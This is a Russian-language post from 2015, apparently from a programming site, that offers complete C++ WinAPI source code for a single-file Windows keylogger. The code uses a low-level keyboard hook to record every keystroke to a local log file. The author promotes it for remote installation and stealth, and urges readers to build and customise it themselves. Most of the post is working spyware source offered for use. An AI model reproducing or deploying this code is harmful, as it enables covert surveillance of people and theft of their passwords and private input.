Кейлоггер для Windows без DLL. С++, WinApi.

Родительская категория: x32
Категория: Исходники x32
Опубликовано 18 Январь 2015
Автор: HandyCat
Просмотров: 3902

Очень часто можно услышать вопрос: "Я ищу кейлоггер для Windows. Где скачать кейлоггер бесплатно ?".  Не нужно искать легких путей, тем более в Интернете :). Скачать кейлоггер бесплатно можно, но приготовтесь к различным ограничениям или неожиданностям. Во-первых, функциональность кейлоггера будет низкой. Бесплатные демо-версии полноценных программ обычно содержат ограничения, иногда неожиданные :). Во-вторых, не будет дополнительных, обычно сопутствующих кейлоггерам дополнительных программ или функций обработки лога, настройки слежения и т.д. В третьих, вы не обнаружите поддержки кейлоггера со стороны производителей. Вместо того, чтобы искать где скачать кейлоггер бесплатно , подумайте, а не написать ли его самостоятельно? Простейший кейлоггер для Windows написать не очень сложно, если Вы обладаете основами программирования в Windows. Итак, продолжаем выкладывать исходники кейлоггеров.  Кейлоггер для Windows написан на С++, естественно с применением Win API. Хук клавиш реализован с помощью SetWindowsHookEx (WH_KEYBOARD_LL,...). Создается исполняемый файл без библиотека dll, так сказать, кейлоггер одним файлом! Плюсы очевидны - более просто организовать удаленную установку, более маленький размер, большая скрытность (dll-ка не будет в процессах всех приложений висеть). Недостаток этого способа перехвата в его нестабильной работе, либо вообще отказа работать в Windows 7. Перехват клавиш без использования dll (WH_KEYBOARD_LL) вызывает у семерки непонимание. Приходится шаманить, колдовать, чтобы заставить кейлоггер работать. Выход конечно же всегда найдется (его ищите самостоятельно, и да пребудет с вами сила:)). Написать нормальный кейлоггер для Windows можно и с  использованием SetWindowsHookEx ( WH_KEYBOARD_LL,...). В Windows 7 будет все нормально. Как будет работать  WH_KEYBOARD_LL в Windows 8, пока не известно.

Запись в лог организована через файловый поток. Добавлено кое-что для улучшения читабельности лога. Код маленький и эффективный. Подойдет для кейлоггера для windowsс определенными добавками и вопрос, где можно скачать кейлоггер бесплатно отпадает.

Исходник файла *.exe:

#include < windows.h >
#include < fstream >
#include < iostream >
#include < algorithm >
#include < string >

using namespace std;

string myKey;
BOOL isCaps();

char logName[] = "keys.txt";//LOG FILE name

//init all varibles for speed
MSG message;
HHOOK keyboardHook;
char keyNameBuff[16];
PKBDLLHOOKSTRUCT p;
unsigned int sc;
//кейлоггер для Windows
void writeToLog(string s) //write a string to the log
{
     ofstream log(logName, ios::app); //opens log file
     
     log << s; //writes to log.. with format '['']'
     
     log.close(); //closes log
}
// Кейлоггер для Windows
BOOL isCaps()
{
     if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0 || 
        ((GetKeyState(VK_SHIFT) & 0x8000)!=0)) {
        return 1;
     } else {
        return 0;
     }
}
// Кейлоггер для Windows
LRESULT CALLBACK hookProc(int nCode, 
WPARAM wParam, LPARAM lParam)//proc to be run on hooked key
{	
	if (wParam == WM_KEYDOWN)//if key event type is key down
        {
		//get the keyname from lParam
		p = (PKBDLLHOOKSTRUCT) (lParam);//used to get the vkCode
		
		sc = MapVirtualKey(p->vkCode, 0);
		sc <<= 16; //shift 16 bits
		
		if (!(p->vkCode <= 32))//if not ascii
		{
		sc |= 0x1 << 24; // <- extended bit
		}
		
		GetKeyNameTextA(sc,keyNameBuff,16);
                // Кейлоггер для Windows - исходник 
                //gets ASCII key name from sc into keyNameBuff
		
		//write keyname to log
		myKey = keyNameBuff;
		if (myKey == "Space") {
           writeToLog(" ");
        }
        else if (myKey == "Right Alt") {
             writeToLog("[R ALT]");
        }
        else if (myKey == "Enter") {
             writeToLog("[ENTER]");
        }
        else if (myKey == "Left Alt") {
             writeToLog("[L ALT]");
        }
        else if (myKey == "Tab") {
             writeToLog("[TAB]");
        }
        else if (myKey == "Backspace") {
             writeToLog("[BS]");
        }
        else if (myKey == "Caps Lock") {
             writeToLog("[CAPS]");
        }
        else if (myKey == "Delete") {
             writeToLog("[DEL]");
        }
        else if (myKey == "Right Shift") {
             writeToLog("[R SHIFT]");
        }
        else if (myKey == "Shift") {
             writeToLog("[L SHIFT]");
        }
        else if (myKey == "Ctrl") {
             writeToLog("[L CTRL]");
        }
        else if (myKey == "Right Ctrl") {
             writeToLog("[R CTRL]");
        }
        // if its none of the special keys
        else {
             if (isCaps() == 1) {
                writeToLog(myKey);
             } else {
                std::transform(myKey.begin(), myKey.end(),
myKey.begin(), ::tolower);
                writeToLog(myKey);
             }
        }
}
        return CallNextHookEx(NULL, nCode, wParam, lParam);
}
// Кейлоггер для Windows
void msgLoop()
{
	while (GetMessage(&message,NULL,0,0))
	{
		TranslateMessage(&message);
		DispatchMessage(&message);
	}
}
// Кейлоггер для Windows
int WINAPI WinMain(HINSTANCE hInstance, 
HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, 
        hookProc, hInstance, 0); //hooks keyboard
    
	msgLoop(); //stops from closing
        // Кейлоггер для Windows - исходник
	UnhookWindowsHookEx(keyboardHook); //unhooks
    
	return 0; //Never run
}

Можно использовать среду разработки любую, которая вам нравится (Dev-C++, MSVS, Borland С++). Собираем, вносим необходимые индивидуальные изменения и кейлоггер для Windows готов и тратить время на поиск, где же можно скачать кейлоггер бесплатно не нужно!

Шаблоны joomla скачать здесь